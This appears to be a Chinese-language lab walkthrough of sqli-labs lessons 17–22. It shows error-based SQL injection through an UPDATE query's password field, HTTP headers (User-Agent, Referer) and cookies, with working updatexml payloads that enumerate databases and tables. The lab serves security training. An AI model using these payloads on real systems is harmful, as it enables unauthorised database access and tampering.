sqli-labs Less17-Less22
Lesson 17 POST-Update Query-Error Based - String (基于错误的更新查询POST注入)
(1)先进行登录测试
SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1
显示的是这样的结果,成功更新了你的密码,密码重置
随便输入一个用户名进行登录,会出现错误
(2)将POST语句处的密码随便进行修改,并不会出现错误,因为用户名并没有改变
uname=admin&passwd=adm&submit=Submit
SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1
但如果把用户名改错,就会出现错误
uname=admi&passwd=adm&submit=Submit
SELECT username, password FROM users WHERE username= 'admi' LIMIT 0,1
(3)此时sql语句中并不显示有关password的语句,需要在源代码中添加两个语句
将用户名输入正确,再次执行
uname=admin&passwd=adm&submit=Submit
SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1
UPDATE users SET password = 'adm' WHERE username='admin'
执行成功
分析sql语句,先执行第一条语句,也就是username= 'admin' ,只有执行正确,才会执行接下来的语句。
uname=admin'#&passwd=adm&submit=Submit
SELECT username, password FROM users WHERE username= 'admin\'#' LIMIT 0,1
如果对用户名进行操作,它对单引号进行了转义,所以对uname进行了过滤处理,我们无法对其进行操作。所以所有用户名必须是正确的。所以进行操作,只能从passwd入手。
(4)从passwd进行入手
uname=admin&passwd=admin'#&submit=Submit
SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1
UPDATE users SET password = 'admin'#' WHERE username='admin'
这里并没有对passwd产生转义,这说明对用户名进行了过滤处理,但没有对password进行过滤处理,所以我们要对它进行一次注入。这里能进行的前提是必须知道正确的用户名。
(5)构造注入语句(报错注入)
查询到库名了
整体的构造大概是这个结构
其中的构造语句部分替换之前使用的查库,查表那些基础语言即可,把select改成and
(6)查库
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
显示出第一个库名,通过报错的形式显示出信息
(7)查表
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit
查到security库里的第一个表
(8)剩下的进行替换即可,都可以查到
Lesson 17结束
Lesson 18 POST-Header injection - Uagent Field - Error Based (基于错误的用户代理,头部POST注入)
(1)先测试
uname=admin&passwd=admin&submit=Submit
SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1
登陆后显示有自己的IP地址和成功登录,还包括User Agent信息
登陆错误试试看,把密码改错
uname=admin&passwd=admi1n&submit=Submit
还会显示IP地址,但是不再显示User Agent信息
(2)查看注入点,这一关username和password部分都不能进行注入,因为加上单引号并加上#进行注释,发现登录失败,并且注入部分会被转义,所以无法进行注入
uname=admin'#&passwd=admin&submit=Submit
SELECT users.username, users.password FROM users WHERE users.username='admin\'#' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1
(3)这时我们要使用burp suite进行抓包操作,查看HTTP头部信息。因为根据对错的显示对比发现,User Agent部分有变化,所以它是可以进行注入的
这里看到Host信息和User Agent信息
这时我们需要看一下User Agent部分的代码,在源代码部分加上这两句话
这时再次登录会显示User Agent部分的代码
SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.3.254', 'admin')
(4)这里要使用另外一个工具,虚拟机里的火狐浏览器暂时无法安装此插件,以下截图是视频教程的截图
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.3.254', 'admin')
红字部分是要放浏览器信息的,然后对之后的信息进行闭合(使用单引号进行闭合),前面进行闭合,后面也要闭合
填入这个插件中
一定要保证是正确的用户和密码
进行执行
发现拿到了security
以上为第一种闭合方法
第二种
这种闭合语句同样可以拿到security
第三种(常规语句)
之后和之前一样,改改就可以了,使用limit进行遍历
基本结构
Lesson 18结束
Lesson 19 POST-Header injection - Referer Field - Error Based (基于头部的 Referer POST报错注入)
(1)先测试
uname=admin&passwd=admin&submit=Submit
SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1
登陆后,显示了登录成功,IP地址和Referer信息
uname=admin&passwd=admin'&submit=Submit
登录失败,仍然显示IP地址信息,但是不显示Referer信息了
(2)和18关相似,只不过显示的不是User Agent信息而是Referer信息,但是操作差不多相似
查看源代码部分
对源代码进行分析,我们需要进行闭合操作
(3)进行操作
取出了数据库信息
然后用基础查询语句进行拼接,查询即可,不再进行展示
Lesson 19结束
Lesson 20 POST-Cookie injection - Uagent Field - Error Based (基于错误的cookie头部 POST注入)
(1)先测试
出现以下信息
显示了很多信息,包括cookie信息
如若登录失败,则什么信息都不显示
(2)看总结的第三条,在这条语句中,如果将uname的位置换成cookie,登录成功后再次刷新,如果cookie中还有这个值的存在,就会从cookie中取值。
这里需要借助另外一个工具,谷歌浏览器下的插件,Cookie Editor
在值这里加上一个单引号并进行保存,再次回车
进行了报错,说明这里存在注入
(3)开始注入
用单引号进行闭合,使用联合查询语句进行查询,后方用#注释掉,保存后,再次回车
查询到数据库信息security
(4)接下来就是基本操作
接下来不再展示,差不多的操作
Lesson 20结束
Lesson 21 Cookie injection - Error Based - complex - string (基于错误的复杂的字符型cookie注入)
(1)先登录
显示的是这样的信息,cookie语句部分的值是一个加密过的信息,需要解密
(2)使用cookie工具查看
这是加密过的,需要解密(其中%3D就是等号的意思,=)
使用在线加密解密工具解密,将%3D换成=
解密得出信息为admin
(3)接下来进行注入,在明文处写好语句再加密即可
记得保存,再次刷新
取出信息
其他操作都一样,不再进行展示
Lesson 21结束
Lesson 22 Cookie injection - Error Based - Double Quotes - string (基于错误的双引号字符型cookie注入)
和21关相似,只不过联合查询语句处的单引号换成了双引号,其他均相同
Lesson 22结束